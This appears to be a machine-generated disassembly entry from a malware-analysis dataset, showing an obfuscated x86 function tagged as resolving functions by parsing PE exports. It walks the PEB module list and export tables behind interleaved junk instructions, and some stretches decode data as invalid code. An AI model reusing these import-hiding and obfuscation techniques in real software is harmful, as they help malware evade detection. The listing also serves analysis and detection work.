Function at 0x429191
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push eax
xor eax, 0x3e53
sub eax, 0xc24c
add eax, 0x1500f
pop eax
push esi
push esi
add esp, 4
sub esi, 0x5a3a
add esi, 0x33cc
and esi, 0xd3b2
jmp 0x428cf2
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
call 0x428d2d
add byte [edx + 0x4c], cl
inc ecx
dec eax
inc edx
inc eax
inc edx
dec ebx
dec ebx
add esp, 4
and ecx, 0x183e4
and ecx, 0x13f3d
pop ecx
push ecx
push edx
add esp, 4
or ecx, 0x14dad
add ecx, 0x91fc
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
lea esi, [eax - 0x10]
invalid
dec dword [ebx - 0xc536b]
inc dword [ebx - 0x6a76fd3e]
ret 0x8902
xchg ebp, eax
lodsb al, byte [esi]
invalid
invalid
jmp dword [esi - 0x75]
test dword [eax - 0x10], esi
invalid
jmp dword [esi - 0x77]
inc ebp
les edx, [ebx - 0x7f]
jmp 0x428d7e
nop
add byte [eax], al
pop ebx
push ecx
xor ecx, 0x93a2
pop ecx
push esi
jmp 0x428dc0
pop es
pop es
aas
dec ebp
inc edi
inc ebp
dec edi
dec edi
cmp ebp, ebx
push es
inc eax
xor al, 0x3a
cmp byte [ebp + 0x39], al
jmp 0x428dc8
call 0x428dd4
add byte [0x4e4d3c46], dh
add esp, 4
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x428df5
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x428e4f
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x428d1d
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x428d1d
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x428e39
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x428e43
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x428e98
push edx
push ecx
add esp, 4
and edx, 0x12efc
and edx, 0x14296
or edx, 0xa2ca
sub edx, 0x17590
pop edx
push edx
xor edx, 0x210
sub edx, 0x1e6f
sub edx, 0x1b60
pop edx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x428f00
push esi
push edi
add esp, 4
add esi, 0x55cc
sub esi, 0x1ed3
add esi, 0xef1
pop esi
push ecx
add ecx, 0xb0de
and ecx, 0x4d1a
add ecx, 0xd9cc
add ecx, 0x117ef
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x428ef6
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x428cc1
mov dword [ebp - 0x710], 0
push edx
or edx, 0xf020
pop edx
push edi
push ebx
add esp, 4
xor edi, 0x14535
pop edi
push eax
push ecx
add esp, 4
and eax, 0xac36
pop eax
push esi
push edi
add esp, 4
or esi, 0x128f0
sub esi, 0xbe76
pop esi
cmp dword [ebp - 0x710], 0
jne 0x428f7c
push ecx
and ecx, 0x9ab3
call 0x428f51
add byte [edi + 0x4e], cl
cmp eax, 0x4c32363e
cmp edi, dword [eax]
add esp, 4
call 0x428f63
add byte [edi], bh
aas
dec eax
dec ebx
cmp dword [0x833a3b42], esi
les eax, [ecx + eax*4]
leave
xchg ecx, eax
or dword [ecx], eax
add byte [ecx - 0x39], bl
test dword [eax + 0xfffff5], ebp
add byte [eax], al
add cl, ch
sub byte [ebx], cl
add byte [eax], al
push ebx
push edx
add esp, 4
jmp 0x428f87
pop ebx
push eax
push ecx
add esp, 4
xor eax, 0xb64c
sub eax, 0x9862
and eax, 0x57f6
or eax, 0x21cd
pop eax
push ecx
and ecx, 0xeeb2
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x428fed
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4292de
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x429015
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4292de
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x429047
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x4292de
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x42906c
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x4292de
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x4290c6
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x4292d2
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x429136
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4291e8
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x4291e8
push edx
and edx, 0xbad8
pop edx
push ecx
sub ecx, 0x14e9
add ecx, 0xdde3
xor ecx, 0x2554
pop ecx
push esi
push edx
add esp, 4
call 0x429191
add byte [eax + 0x3c], al
dec edi
inc esi
dec eax
inc ebx
inc edx
add esp, 4
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x4291da
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x4291e1
jmp 0x429127
jmp 0x4291e8
push esi
push esi
add esp, 4
add esi, 0xf158
add esi, 0x148a2
and esi, 0x4773
pop esi
push ebx
push edx
add esp, 4
and ebx, 0xd1b7
add byte [ecx + 0x16a0ac3], al
add byte [ebx + 0x52], bl
add edx, 0x12303
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x429247
mov dword [ebp - 0xc5c], 0
jmp 0x4292b6
push esi
push ebx
add esp, 4
sub esi, 0x16eae
pop esi
push ecx
push edi
add esp, 4
sub ecx, 0x4a25
pop ecx
push ebx
and ebx, 0x148a4
pop ebx
push edx
push esi
add esp, 4
sub edx, 0x4761
add edx, 0x1ec5
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
lea edi, [eax - 2]
invalid
dec dword [edi]
mov esi, 0x20ca8311
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x4292ac
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x4292b6
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x4292cd
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x4292de
jmp 0x4290b7
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x4293b9
push ecx
call 0x4292fa
add byte [eax + 0x38], cl
aas
dec eax
inc esp
dec esi
push eax
cmp al, byte [ebx + 0x525904c4]
push ecx
add esp, 4
jmp 0x42930b
and edx, 0xe99f
xor edx, 0x2d95
jmp 0x42931c
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
push eax
add esp, 4
add esi, 0xe89c
jmp 0x42933d
jmp 0x429346
pop esi
push ecx
sub ecx, 0x12522
or ecx, 0x14ca8
or ecx, 0x4496
pop ecx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x4293b9
push esi
push edx
add esp, 4
add esi, 0xc89
pop esi
push ecx
call 0x429394
add byte [esi], dh
dec esp
cmp byte [ebx], bh
aas
cmp eax, 0xc4834c38
add al, 0x81
leave
sbb dword [ebx], ebp
add byte [eax], al
sub ecx, 0x5a9e
xor ecx, 0xe1ee
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x429aa4
push ebx
push edi
add esp, 4
and ebx, 0x792f
sub ebx, 0x1383f
and ebx, 0x17f38
sub ebx, 0x88cc
pop ebx
push ecx
xor ecx, 0x5665
xor ecx, 0xa81d
or ecx, 0x123ce
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ebx
or ebx, 0x12eef
call 0x429429
add byte [ecx + eax*2], dh
cmp bh, byte [ebx]
inc ebx
dec ebp
inc edi
cmp dl, byte [eax - 0x7d]
les eax, [ecx + eax*4]
dec edx
push 1
add byte [ecx + 0x7f78e3], al
add byte [ebx + 0x52], bl
push edx
add esp, 4
xor edx, 0xf73e
add byte [eax], al
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x42945d
mov dword [ebp - 0x2a8], 0
jmp 0x429704
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push esi
push edi
add esp, 4
and esi, 0xd0b1
or esi, 0x17c9d
pop esi
push edi
add edi, 0x1640e
and edi, 0x12c38
pop edi
push edx
push ebx
add esp, 4
and edx, 0x104b3
xor edx, 0x1c2d
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x4294b9
mov dword [ebp - 0x2a8], 0
jmp 0x429704
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edx
push esi
add esp, 4
jmp 0x4294d2
or edx, 0x9a49
pop edx
push edx
push ecx
add esp, 4
jmp 0x4294e3
jmp 0x4294ea
add edx, 0x2d60
add edx, 0x549d
pop edx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edx
sub edx, 0x123d3
pop edx
push ecx
push edx
add esp, 4
xor ecx, 0x166f3
jmp 0x42953b
and ecx, 0x1532
pop ecx
push ecx
sub ecx, 0x2a32
jmp 0x429552
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
and ebx, 0xeeab
pop ebx
push ebx
push edx
add esp, 4
call 0x4295c3
add byte [edx + esi + 0x4d], cl
inc edx
dec esp
add esp, 4
call 0x4295d2
add byte [ecx + 0x3d], cl
cmp ecx, dword [edx + 0x3c]
xor al, 0x83
les eax, [ebx + ebp*8]
add al, 0x4a
cmp byte [edx + 0x3a], al
pop ebx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x4295f9
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x429653
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x429521
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x429521
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x42963d
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x429647
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x42969c
push esi
push ebx
add esp, 4
and esi, 0xabdf
sub esi, 0x10aa4
or al, byte [ecx]
add byte [ecx + 0xc24dce], al
add byte [esi + 0x52], bl
push ecx
jmp 0x4296a3
add ecx, 0xf0fd
pop ecx
push ecx
call 0x4296b9
add byte [ebx], bh
dec eax
aaa
push eax
cmp al, 0x3a
dec esi
dec edi
add esp, 4
jmp 0x4296c1
pop ecx
push edi
push ebx
add esp, 4
sub edi, 0xc79e
pop edi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x4296fa
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x4294c5
mov dword [ebp - 0x2a8], 0
push esi